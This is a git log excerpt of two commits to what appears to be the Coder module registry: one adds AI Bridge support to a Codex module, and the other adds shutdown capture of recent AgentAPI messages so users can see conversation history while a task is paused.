35C4n0r	360b3cd3ce	feat(coder-labs/modules/codex): add support for aibridge (#655 ) ## Description - Add support for AI Bridge <!-- Briefly describe what this PR does and why --> ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> Path: `registry/coder-labs/modules/codex` New version: `v4.1.0` Breaking change: [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: #650 --------- Co-authored-by: DevCats <christofer@coder.com> Co-authored-by: Atif Ali <atif@coder.com>	2026-01-31 08:41:19 +05:30
Mathias Fredriksson	fa30191394	feat(coder/modules/agentapi): add log snapshot capture on shutdown (#676 ) Captures the last 10 messages from AgentAPI when task workspaces stop, allowing users to view conversation history while the task is paused. The shutdown script fetches messages, builds a payload with last 10 messages, truncates to 64KB if needed (removes old messages first, then truncates content of the last message), and posts to the log snapshot endpoint. Gracefully handles non-task workspaces (skips), older Coder versions without the endpoint (logs and continues), and empty message sets. Enabled by default via task_log_snapshot variable. Task ID is automatically resolved from data.coder_task when available. Updates coder/internal#1257	2026-01-30 09:31:04 +02:00